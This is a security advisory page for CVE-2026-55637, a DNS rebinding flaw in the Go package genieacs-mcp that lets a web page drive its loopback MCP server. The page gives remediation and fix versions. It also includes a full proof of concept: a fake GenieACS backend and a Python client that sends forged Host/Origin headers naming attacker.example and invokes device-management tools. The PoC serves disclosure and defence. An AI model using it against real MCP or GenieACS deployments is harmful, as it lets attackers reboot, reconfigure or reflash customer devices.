CVE-2026-55637: genieacs-mcp DNS Rebinding Reaches Local GenieACS Vulnerability

HIGH
Advisory Identifier: GHSA-cmwv-wf9p-p8wx
CWE-346
Published
Advisory Summary

CVE-2026-55637 is a HIGH dns rebinding reaches local genieacs vulnerability (CWE-346: Origin Validation Error) affecting genieacs-mcp libraries in the Go ecosystem. The issue involves dns rebinding reaches local genieacs mcp streamable http transport. Remediation is available by upgrading affected packages to version 0.3.2.

CVE-2026-55637 at a Glance

CVE Identifier CVE-2026-55637
GHSA Identifier GHSA-cmwv-wf9p-p8wx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-346: Origin Validation Error
Affected Product genieacs-mcp
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-55637

To remediate this vulnerability, upgrade all affected genieacs-mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/geiserx/genieacs-mcp fixed: 0.3.2
Upgrade github.com/geiserx/genieacs-mcp to 0.3.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/geiserx/genieacs-mcp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55637, inspect your project dependencies for genieacs-mcp:

inspect dependencies for github.com/geiserx/genieacs-mcp

Analyze the terminal output to locate any version of genieacs-mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-346: Origin Validation Error, where the product does not properly verify that the source of data or communication is valid. In genieacs-mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

`genieacs-mcp` exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled `Host` and `Origin` headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret. The affected package is `genieacs-mcp` version `0.3.1` at commit `4d7d3c74740efb7f3833aadc8a8e9177650eb462`. The vulnerable transport setup is in `cmd/server/main.go`. When `TRANSPORT` is not `stdio`, the server creates a Streamable HTTP MCP handler: ```go // cmd/server/main.go:92 httpSrv := server.NewStreamableHTTPServer(s) addr := os.Getenv("MCP_LISTEN_ADDR") if addr == "" { addr = "127.0.0.1:8080" } authToken := os.Getenv("MCP_AUTH_TOKEN") if authToken == "" && !isLoopbackAddr(addr) { log.Fatal("MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback") } if authToken != "" { mux := http.NewServeMux() mux.Handle("/mcp", bearerAuth(httpSrv, authToken)) log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr) if err := http.ListenAndServe(addr, mux); err != nil { log.Fatalf("server error: %v", err) } } else { log.Printf("GenieACS MCP bridge listening on %s", addr) if err := httpSrv.Start(addr); err != nil { log.Fatalf("server error: %v", err) } } ``` For the default loopback listener, `MCP_AUTH_TOKEN` is not required. The unauthenticated branch calls `httpSrv.Start(addr)` directly. There is no middleware or MCP transport configuration that validates `Host` or `Origin` before `/mcp` handles the request. The README documents loopback HTTP as the default deployment mode and says `MCP_AUTH_TOKEN` is required only when `MCP_LISTEN_ADDR` is non-loopback: ```text TRANSPORT: empty = HTTP MCP_LISTEN_ADDR: 127.0.0.1:8080 MCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback ``` That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled `Host` and `Origin` values. ## Proof of concept The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend. Start a fake GenieACS NBI: ```bash python3 - <<'PY' from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json import urllib.parse DEVICE_ID = "00236A-FAKE-CPE-PWNED" class Handler(BaseHTTPRequestHandler): def _json(self, value, status=200): data = json.dumps(value, indent=2).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def do_GET(self): print("FAKE_ACS_GET", self.path, dict(self.headers), flush=True) parsed = urllib.parse.urlparse(self.path) if parsed.path.rstrip("/") == "/devices": self._json([{ "_id": DEVICE_ID, "_tags": ["poc-owned"], "Device": { "DeviceInfo": { "SoftwareVersion": {"_value": "PLANTED-FAKE-FIRMWARE-9.9.9"}, "SerialNumber": {"_value": "PLUTO-FAKE-CPE-0001"} }, "ManagementServer": { "URL": {"_value": "https://acs-control.example.invalid/cwmp"} } } }]) return self._json({"error": "not found"}, 404) def log_message(self, fmt, *args): return ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serve_forever() PY ``` In a second terminal, run the affected MCP server: ```bash git clone https://github.com/GeiserX/genieacs-mcp.git cd genieacs-mcp git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462 GOCACHE=/tmp/genieacs_mcp_gocache \ GOPATH=/tmp/genieacs_mcp_gopath \ go build -o /tmp/genieacs-mcp ./cmd/server ACS_URL=http://127.0.0.1:18083 \ MCP_LISTEN_ADDR=127.0.0.1:8083 \ /tmp/genieacs-mcp ``` In a third terminal, send MCP requests with forged browser-origin headers: ```bash python3 - <<'PY' import http.client import json PORT = 8083 PROTO = "2024-11-05" ATTACKER_HOST = f"attacker.example:{PORT}" def parse_rpc(text): text = (text or "").strip() if text.startswith("{") or text.startswith("["): return [json.loads(text)] out = [] for line in text.splitlines(): line = line.strip() if line.startswith("data:"): data = line[5:].strip() if data and data != "[DONE]": out.append(json.loads(data)) return out sid = None def rpc(body): global sid headers = { "Host": ATTACKER_HOST, "Origin": "http://" + ATTACKER_HOST, "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } if sid: headers["Mcp-Session-Id"] = sid headers["MCP-Protocol-Version"] = PROTO conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10) conn.request("POST", "/mcp", json.dumps(body), headers) res = conn.getresponse() raw_headers = dict(res.getheaders()) if raw_headers.get("Mcp-Session-Id"): sid = raw_headers["Mcp-Session-Id"] text = res.read().decode("utf-8", "replace") conn.close() return res.status, parse_rpc(text), text init_status, init_msgs, init_raw = rpc({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": PROTO, "capabilities": {}, "clientInfo": {"name": "genieacs-rebind-check", "version": "1"} } }) notify_status, _, _ = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}}) tools_status, tools_msgs, tools_raw = rpc({ "jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {} }) call_status, call_msgs, call_raw = rpc({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "get_parameter", "arguments": { "device_id": "00236A-FAKE-CPE-PWNED", "parameter_path": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL" } } }) print("initialize_status", init_status) print("session_created", bool(sid)) print("initialized_notification_status", notify_status) print("tools_list_status", tools_status) print(tools_raw[:1200]) print("get_parameter_status", call_status) print(call_raw) PY ``` The MCP request uses attacker-controlled browser-origin headers and no `Authorization` header: ```http POST /mcp HTTP/1.1 Host: attacker.example:8083 Origin: http://attacker.example:8083 Content-Type: application/json Accept: application/json, text/event-stream {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}} ``` Observed output: ```text initialize_status 200 session_created True initialized_notification_status 202 tools_list_status 200 ``` `tools/list` returns 12 tools, including: ```text connection_request delete_task download_firmware get_parameter manage_preset manage_provision reboot_device refresh_parameter retry_task search_devices set_parameter tag_device ``` The `get_parameter` tool call reaches the fake GenieACS NBI and returns the planted marker: ```text Cached parameter values: [ { "_id": "00236A-FAKE-CPE-PWNED", "_tags": [ "poc-owned" ], "Device": { "DeviceInfo": { "SoftwareVersion": { "_value": "PLANTED-FAKE-FIRMWARE-9.9.9" }, "SerialNumber": { "_value": "PLUTO-FAKE-CPE-0001" } }, "ManagementServer": { "URL": { "_value": "https://acs-control.example.invalid/cwmp" } } } } ] ``` The fake GenieACS NBI also records the backend request from the MCP server: ```text FAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D ``` ## Impact A malicious website can control a victim's local `genieacs-mcp` HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured `ACS_URL`. In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access. ## Why this is a vulnerability, not intended behavior - The project treats loopback HTTP as a safety boundary. The README documents `127.0.0.1:8080` as the default HTTP listen address and requires `MCP_AUTH_TOKEN` only for non-loopback listeners. - DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates `Host` and `Origin`. - PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener. - A local trusted MCP client is the intended caller. A public web page is not. ## Remediation Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as: ```text Host: 127.0.0.1:8080 Host: localhost:8080 Origin: http://127.0.0.1:8080 Origin: http://localhost:8080 ``` Reject unexpected `Host` or `Origin` values before MCP initialization. Treat absent or non-local `Origin` on browser-reachable requests as suspicious unless the request is authenticated. Also require a bearer token for HTTP transport even on loopback, or make `stdio` the default transport and require an explicit opt-in for unauthenticated loopback HTTP.

CVE-2026-55637 Affected genieacs-mcp Versions

1 component(s)
Fixed Versions:
0.3.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/geiserx/genieacs-mcp
Go
< 0.3.2
0.3.2

References

Frequently Asked Questions

What is CVE-2026-55637?
CVE-2026-55637 is a security vulnerability in genieacs-mcp involving DNS rebinding reaches local GenieACS MCP Streamable HTTP transport under CWE-346: Origin Validation Error.
Which genieacs-mcp versions are affected?
Affected versions include releases prior to 0.3.2 across affected packages: github.com/geiserx/genieacs-mcp.
What version fixes CVE-2026-55637?
Upgrading to 0.3.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/geiserx/genieacs-mcp affected?
Yes, github.com/geiserx/genieacs-mcp is affected in releases prior to 0.3.2. Upgrade your dependency to 0.3.2 or later.
What CWE is associated with CVE-2026-55637?
CVE-2026-55637 is classified under CWE-346: Origin Validation Error (The product does not properly verify that the source of data or communication is valid.).
How can I check Go dependencies for CVE-2026-55637?
Run the dependency tree command: 'inspect dependencies for github.com/geiserx/genieacs-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cmwv-wf9p-p8wx",
  "modified" : "2026-08-25T18:05:28Z",
  "published" : "2026-08-25T18:05:28Z",
  "aliases" : [ "CVE-2026-55637" ],
  "summary" : "genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport",
  "details" : "`genieacs-mcp` exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled `Host` and `Origin` headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.\n\nThe affected package is `genieacs-mcp` version `0.3.1` at commit `4d7d3c74740efb7f3833aadc8a8e9177650eb462`.\n\nThe vulnerable transport setup is in `cmd/server/main.go`. When `TRANSPORT` is not `stdio`, the server creates a Streamable HTTP MCP handler:\n\n```go\n// cmd/server/main.go:92\nhttpSrv := server.NewStreamableHTTPServer(s)\naddr := os.Getenv(\"MCP_LISTEN_ADDR\")\nif addr == \"\" {\n    addr = \"127.0.0.1:8080\"\n}\nauthToken := os.Getenv(\"MCP_AUTH_TOKEN\")\nif authToken == \"\" && !isLoopbackAddr(addr) {\n    log.Fatal(\"MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback\")\n}\nif authToken != \"\" {\n    mux := http.NewServeMux()\n    mux.Handle(\"/mcp\", bearerAuth(httpSrv, authToken))\n    log.Printf(\"GenieACS MCP bridge listening on %s (auth enabled)\", addr)\n    if err := http.ListenAndServe(addr, mux); err != nil {\n        log.Fatalf(\"server error: %v\", err)\n    }\n} else {\n    log.Printf(\"GenieACS MCP bridge listening on %s\", addr)\n    if err := httpSrv.Start(addr); err != nil {\n        log.Fatalf(\"server error: %v\", err)\n    }\n}\n```\n\nFor the default loopback listener, `MCP_AUTH_TOKEN` is not required. The unauthenticated branch calls `httpSrv.Start(addr)` directly. There is no middleware or MCP transport configuration that validates `Host` or `Origin` before `/mcp` handles the request.\n\nThe README documents loopback HTTP as the default deployment mode and says `MCP_AUTH_TOKEN` is required only when `MCP_LISTEN_ADDR` is non-loopback:\n\n```text\nTRANSPORT: empty = HTTP\nMCP_LISTEN_ADDR: 127.0.0.1:8080\nMCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback\n```\n\nThat leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled `Host` and `Origin` values.\n\n## Proof of concept\n\nThe following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.\n\nStart a fake GenieACS NBI:\n\n```bash\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nimport json\nimport urllib.parse\n\nDEVICE_ID = \"00236A-FAKE-CPE-PWNED\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def _json(self, value, status=200):\n        data = json.dumps(value, indent=2).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\n    def do_GET(self):\n        print(\"FAKE_ACS_GET\", self.path, dict(self.headers), flush=True)\n        parsed = urllib.parse.urlparse(self.path)\n        if parsed.path.rstrip(\"/\") == \"/devices\":\n            self._json([{\n                \"_id\": DEVICE_ID,\n                \"_tags\": [\"poc-owned\"],\n                \"Device\": {\n                    \"DeviceInfo\": {\n                        \"SoftwareVersion\": {\"_value\": \"PLANTED-FAKE-FIRMWARE-9.9.9\"},\n                        \"SerialNumber\": {\"_value\": \"PLUTO-FAKE-CPE-0001\"}\n                    },\n                    \"ManagementServer\": {\n                        \"URL\": {\"_value\": \"https://acs-control.example.invalid/cwmp\"}\n                    }\n                }\n            }])\n            return\n        self._json({\"error\": \"not found\"}, 404)\n\n    def log_message(self, fmt, *args):\n        return\n\nThreadingHTTPServer((\"127.0.0.1\", 18083), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/GeiserX/genieacs-mcp.git\ncd genieacs-mcp\ngit checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462\n\nGOCACHE=/tmp/genieacs_mcp_gocache \\\nGOPATH=/tmp/genieacs_mcp_gopath \\\ngo build -o /tmp/genieacs-mcp ./cmd/server\n\nACS_URL=http://127.0.0.1:18083 \\\nMCP_LISTEN_ADDR=127.0.0.1:8083 \\\n/tmp/genieacs-mcp\n```\n\nIn a third terminal, send MCP requests with forged browser-origin headers:\n\n```bash\npython3 - <<'PY'\nimport http.client\nimport json\n\nPORT = 8083\nPROTO = \"2024-11-05\"\nATTACKER_HOST = f\"attacker.example:{PORT}\"\n\ndef parse_rpc(text):\n    text = (text or \"\").strip()\n    if text.startswith(\"{\") or text.startswith(\"[\"):\n        return [json.loads(text)]\n    out = []\n    for line in text.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            data = line[5:].strip()\n            if data and data != \"[DONE]\":\n                out.append(json.loads(data))\n    return out\n\nsid = None\n\ndef rpc(body):\n    global sid\n    headers = {\n        \"Host\": ATTACKER_HOST,\n        \"Origin\": \"http://\" + ATTACKER_HOST,\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if sid:\n        headers[\"Mcp-Session-Id\"] = sid\n        headers[\"MCP-Protocol-Version\"] = PROTO\n    conn = http.client.HTTPConnection(\"127.0.0.1\", PORT, timeout=10)\n    conn.request(\"POST\", \"/mcp\", json.dumps(body), headers)\n    res = conn.getresponse()\n    raw_headers = dict(res.getheaders())\n    if raw_headers.get(\"Mcp-Session-Id\"):\n        sid = raw_headers[\"Mcp-Session-Id\"]\n    text = res.read().decode(\"utf-8\", \"replace\")\n    conn.close()\n    return res.status, parse_rpc(text), text\n\ninit_status, init_msgs, init_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": PROTO,\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"genieacs-rebind-check\", \"version\": \"1\"}\n    }\n})\n\nnotify_status, _, _ = rpc({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\ntools_status, tools_msgs, tools_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/list\",\n    \"params\": {}\n})\n\ncall_status, call_msgs, call_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"get_parameter\",\n        \"arguments\": {\n            \"device_id\": \"00236A-FAKE-CPE-PWNED\",\n            \"parameter_path\": \"Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL\"\n        }\n    }\n})\n\nprint(\"initialize_status\", init_status)\nprint(\"session_created\", bool(sid))\nprint(\"initialized_notification_status\", notify_status)\nprint(\"tools_list_status\", tools_status)\nprint(tools_raw[:1200])\nprint(\"get_parameter_status\", call_status)\nprint(call_raw)\nPY\n```\n\nThe MCP request uses attacker-controlled browser-origin headers and no `Authorization` header:\n\n```http\nPOST /mcp HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"genieacs-rebind-check\",\"version\":\"1\"}}}\n```\n\nObserved output:\n\n```text\ninitialize_status 200\nsession_created True\ninitialized_notification_status 202\ntools_list_status 200\n```\n\n`tools/list` returns 12 tools, including:\n\n```text\nconnection_request\ndelete_task\ndownload_firmware\nget_parameter\nmanage_preset\nmanage_provision\nreboot_device\nrefresh_parameter\nretry_task\nsearch_devices\nset_parameter\ntag_device\n```\n\nThe `get_parameter` tool call reaches the fake GenieACS NBI and returns the planted marker:\n\n```text\nCached parameter values: [\n  {\n    \"_id\": \"00236A-FAKE-CPE-PWNED\",\n    \"_tags\": [\n      \"poc-owned\"\n    ],\n    \"Device\": {\n      \"DeviceInfo\": {\n        \"SoftwareVersion\": {\n          \"_value\": \"PLANTED-FAKE-FIRMWARE-9.9.9\"\n        },\n        \"SerialNumber\": {\n          \"_value\": \"PLUTO-FAKE-CPE-0001\"\n        }\n      },\n      \"ManagementServer\": {\n        \"URL\": {\n          \"_value\": \"https://acs-control.example.invalid/cwmp\"\n        }\n      }\n    }\n  }\n]\n```\n\nThe fake GenieACS NBI also records the backend request from the MCP server:\n\n```text\nFAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D\n```\n\n## Impact\n\nA malicious website can control a victim's local `genieacs-mcp` HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured `ACS_URL`.\n\nIn a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.\n\n## Why this is a vulnerability, not intended behavior\n\n- The project treats loopback HTTP as a safety boundary. The README documents `127.0.0.1:8080` as the default HTTP listen address and requires `MCP_AUTH_TOKEN` only for non-loopback listeners.\n- DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates `Host` and `Origin`.\n- PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.\n- A local trusted MCP client is the intended caller. A public web page is not.\n\n## Remediation\n\nAdd Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:\n\n```text\nHost: 127.0.0.1:8080\nHost: localhost:8080\nOrigin: http://127.0.0.1:8080\nOrigin: http://localhost:8080\n```\n\nReject unexpected `Host` or `Origin` values before MCP initialization. Treat absent or non-local `Origin` on browser-reachable requests as suspicious unless the request is authenticated.\n\nAlso require a bearer token for HTTP transport even on loopback, or make `stdio` the default transport and require an explicit opt-in for unauthenticated loopback HTTP.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/geiserx/genieacs-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.3.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GeiserX/genieacs-mcp/pull/26"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GeiserX/genieacs-mcp/commit/577306d78190622eee97e362b042a69499ef373f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/GeiserX/genieacs-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/GeiserX/genieacs-mcp/releases/tag/v0.3.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-346" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T18:05:28Z",
    "nvd_published_at" : null
  }
}